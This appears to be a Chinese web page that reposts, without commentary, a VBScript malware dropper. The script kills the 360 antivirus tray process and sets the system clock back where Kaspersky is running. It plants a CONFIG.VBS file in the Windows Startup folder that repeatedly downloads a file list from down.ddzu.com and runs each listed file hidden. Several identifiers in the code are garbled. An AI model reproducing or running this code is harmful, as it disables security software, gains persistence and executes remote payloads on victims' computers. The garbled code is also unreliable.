注册
登录
| 关键词： Set nothing CreateObject Wscript windir down conf nothingset run Sleep |
On Error Resume Nextnowdate=date()Set ws=CreateObject("Wscript.Shell")Set WMIs=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")Set Proc=WMIs.ExecQuery("SELECT * FROM Win32_Process WHERE Name='360tray.exe'")if Proc.Count<>0 Thenws.run "cmd /c taskkill /f /im 360tray.exe",vbhideEnd ifkkkbbb="avp.exe"SEt proavp=WMIs.ExeQuery("SELECT * FROM Win32_Process WHERE Name="&kkkbbb)If Proavp.Count<>0 Thenws.run "cmd /c date 1990.9.9",vbhideWscript.Sleep 20000End IfSet fso=Wscript.CreateObject("scripting.FileSystemObject")Set windir=fso.GetSpecialFolder(0)conf=left(eindir,3)&"Documents and Settings\All Users"conf=conf&"\「开始」菜单\程序\启动\CONFIG.VBS"Set f=fso.CreateTextFile(conf)f.WriteLine("on error resume next:Set ws=CreateObject(""Wscript.Shell""):set F=createobject(""Scripting.FileSystemObject""):set windir=F.GetSpecialFolder(2):set S=createobject(""adodb.stream""):Set x=CreateObject(""Microsoft.XMLHTTP""):readurl=""http://down.ddzu.com/img/ms.txt"":x.Open ""GET"",readurl,False:x.Send():dlist=bytes2BSTR(x.responseBody):Function bytes@BSTR(vln):For i=1 To LenB(vln):ThisCharCode=AscB(MidB(vln.i.1)):if ThisCharCode<&H80 Then:strReturn=strReturn & Chr(ThisCharCode):Else:NextCharCode=AscB(MidB(vln,i+1,1)):strReturn=strReturn&Chr(CLng(ThisCharCode)*&H100+CInt(NextCharCode)):i=i+1:End If:Next:vytes@BSTR=strReturn:End Function:sub TTdown(TTurl):on error resume next:tmpname=F.BuildPath(windir,""KB""&Day(now)&Hour(now)&Minute(now)&Second(now)&Right(TTurl,4)):x.Open""GET"",TTurl,False:x.Send():Send():S.type=1:S.open:S.write x.responseBody:S.savetofile tmpname,2:S,close:if F.GetFile(tmpname).size>1000 then:ws.run ""cmd /c ""&f.GetFile(tmpname).ShortPath,vbhide:end if:End SUb:Set rl=F.OpenTextFile(windir&""\cppzl.log"",1):olist=rl.ReadLine:rl.close:down=split(dlist,""|""):For I=0 To UBound(down):if instr(olist,down(I))=""0"" then:dl=left(down(I),instr(down(I),""#"")-1):Wscript.Sleep 2000:call TTdown(dl):end if:Next:Set ff=F.CreateTextFile(windir&""cppal.log""):ff.Write dlist:ff.close:Set ff=nothing:Set rl=nothing:set windir=nothing:Wscript.Sleep 600000:ws.run(Wscript.ScriptFullName):Set ws=nothing:set F=nothing:set S=nothing:Set x=nothing")f.closeset qdvbs=fso.GetFile(conf)ws.run qdvbs.ShortPath,vbhideset qdvbs=nothingWscript.Sleep 180000ws.Run "cmd /c date"&noedate,vbhideSet f=nothingset windir=nothingset ws=nothingset fso=nothing |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
